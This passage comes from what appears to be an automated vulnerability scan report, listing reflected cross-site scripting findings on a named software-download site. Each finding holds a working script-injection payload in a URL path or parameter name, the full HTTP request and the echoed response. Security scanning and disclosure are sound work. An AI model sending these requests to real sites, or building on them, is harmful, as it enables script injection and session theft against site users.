HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:18:52 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56620
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-sony-ericsson-pc-suite-download-xqhxzeta.html?65876"><script>alert(1)</script>0527961b680=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85299"><script>alert(1)</script>d551f5477b5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads85299"><script>alert(1)</script>d551f5477b5/t-64-bit-teamspeak-download-opmulwsy.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:22:42 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21326
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloads85299"><script>alert(1)</script>d551f5477b5/t-64-bit-teamspeak-download-opmulwsy.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75347"><script>alert(1)</script>3f02c20ef7c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-teamspeak-download-opmulwsy.html75347"><script>alert(1)</script>3f02c20ef7c HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:45 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59889
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-teamspeak-download-opmulwsy.html75347"><script>alert(1)</script>3f02c20ef7c"/> ...[SNIP]...
4.1770. http://www.x64bitdownload.com/downloads/t-64-bit-teamspeak-download-opmulwsy.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ade4"><script>alert(1)</script>9b2e7ce64af was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-teamspeak-download-opmulwsy.html?2ade4"><script>alert(1)</script>9b2e7ce64af=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:20:41 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59895
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-teamspeak-download-opmulwsy.html?2ade4"><script>alert(1)</script>9b2e7ce64af=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15e9e"><script>alert(1)</script>2068dbf1796 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads15e9e"><script>alert(1)</script>2068dbf1796/t-64-bit-trollkiller-for-firefox-download-ydeukbjf.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:20:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21340
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloads15e9e"><script>alert(1)</script>2068dbf1796/t-64-bit-trollkiller-for-firefox-download-ydeukbjf.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e2d1"><script>alert(1)</script>b29de778e85 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-trollkiller-for-firefox-download-ydeukbjf.html2e2d1"><script>alert(1)</script>b29de778e85 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:22:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54158
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-trollkiller-for-firefox-download-ydeukbjf.html2e2d1"><script>alert(1)</script>b29de778e85"/> ...[SNIP]...
4.1773. http://www.x64bitdownload.com/downloads/t-64-bit-trollkiller-for-firefox-download-ydeukbjf.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4317f"><script>alert(1)</script>f5492ba1d6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-trollkiller-for-firefox-download-ydeukbjf.html?4317f"><script>alert(1)</script>f5492ba1d6=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:17:45 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54162
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-trollkiller-for-firefox-download-ydeukbjf.html?4317f"><script>alert(1)</script>f5492ba1d6=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d5a5"><script>alert(1)</script>39fb5dff735 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads9d5a5"><script>alert(1)</script>39fb5dff735/t-64-bit-usenext-download-rizftkeg.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:18:56 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21324
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloads9d5a5"><script>alert(1)</script>39fb5dff735/t-64-bit-usenext-download-rizftkeg.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c06d"><script>alert(1)</script>7dbfa7985a0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-usenext-download-rizftkeg.html4c06d"><script>alert(1)</script>7dbfa7985a0 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:19:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56287
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-usenext-download-rizftkeg.html4c06d"><script>alert(1)</script>7dbfa7985a0"/> ...[SNIP]...
4.1776. http://www.x64bitdownload.com/downloads/t-64-bit-usenext-download-rizftkeg.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1902c"><script>alert(1)</script>78f4ba71bdf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-usenext-download-rizftkeg.html?1902c"><script>alert(1)</script>78f4ba71bdf=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:15 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56293
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-usenext-download-rizftkeg.html?1902c"><script>alert(1)</script>78f4ba71bdf=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f97a2"><script>alert(1)</script>fe238360768 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloadsf97a2"><script>alert(1)</script>fe238360768/t-64-bit-web-forum-reader-download-ivzgszuq.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:19:59 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21333
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloadsf97a2"><script>alert(1)</script>fe238360768/t-64-bit-web-forum-reader-download-ivzgszuq.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 22641"><script>alert(1)</script>a78c23ad14d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-web-forum-reader-download-ivzgszuq.html22641"><script>alert(1)</script>a78c23ad14d HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:20:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54564
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-web-forum-reader-download-ivzgszuq.html22641"><script>alert(1)</script>a78c23ad14d"/> ...[SNIP]...
4.1779. http://www.x64bitdownload.com/downloads/t-64-bit-web-forum-reader-download-ivzgszuq.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3401b"><script>alert(1)</script>d76e63f7bc9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-web-forum-reader-download-ivzgszuq.html?3401b"><script>alert(1)</script>d76e63f7bc9=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:17:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54570
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-web-forum-reader-download-ivzgszuq.html?3401b"><script>alert(1)</script>d76e63f7bc9=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e9493"><script>alert(1)</script>26deef30248 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloadse9493"><script>alert(1)</script>26deef30248/t-64-bit-web-forum-reader-download-sqifmyiy.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:19:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21333
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloadse9493"><script>alert(1)</script>26deef30248/t-64-bit-web-forum-reader-download-sqifmyiy.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f12c"><script>alert(1)</script>5499298239f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-web-forum-reader-download-sqifmyiy.html8f12c"><script>alert(1)</script>5499298239f HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:19:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54563
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-web-forum-reader-download-sqifmyiy.html8f12c"><script>alert(1)</script>5499298239f"/> ...[SNIP]...
4.1782. http://www.x64bitdownload.com/downloads/t-64-bit-web-forum-reader-download-sqifmyiy.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d77d"><script>alert(1)</script>3841192b652 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-web-forum-reader-download-sqifmyiy.html?4d77d"><script>alert(1)</script>3841192b652=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54569
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-web-forum-reader-download-sqifmyiy.html?4d77d"><script>alert(1)</script>3841192b652=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3aef"><script>alert(1)</script>f4e866e47d1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloadsa3aef"><script>alert(1)</script>f4e866e47d1/t-64-bit-windows-live-mail-download-melibvyx.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:22:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21334
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloadsa3aef"><script>alert(1)</script>f4e866e47d1/t-64-bit-windows-live-mail-download-melibvyx.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ecd4d"><script>alert(1)</script>4b44f8919a7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-windows-live-mail-download-melibvyx.htmlecd4d"><script>alert(1)</script>4b44f8919a7 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:19 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 52868
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-windows-live-mail-download-melibvyx.htmlecd4d"><script>alert(1)</script>4b44f8919a7"/> ...[SNIP]...
4.1785. http://www.x64bitdownload.com/downloads/t-64-bit-windows-live-mail-download-melibvyx.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3f31"><script>alert(1)</script>a68db57adbf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-windows-live-mail-download-melibvyx.html?b3f31"><script>alert(1)</script>a68db57adbf=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:18:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 52874
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-windows-live-mail-download-melibvyx.html?b3f31"><script>alert(1)</script>a68db57adbf=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34c74"><script>alert(1)</script>9bb43158f8a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads34c74"><script>alert(1)</script>9bb43158f8a/t-64-bit-windows-live-messenger-2009-download-exrxqhff.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:20:09 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21344
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloads34c74"><script>alert(1)</script>9bb43158f8a/t-64-bit-windows-live-messenger-2009-download-exrxqhff.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b3f8"><script>alert(1)</script>275bf41d948 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-windows-live-messenger-2009-download-exrxqhff.html7b3f8"><script>alert(1)</script>275bf41d948 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:21:09 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61783
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-windows-live-messenger-2009-download-exrxqhff.html7b3f8"><script>alert(1)</script>275bf41d948"/> ...[SNIP]...
4.1788. http://www.x64bitdownload.com/downloads/t-64-bit-windows-live-messenger-2009-download-exrxqhff.html [name of an arbitrarily supplied request parameter]previousnext
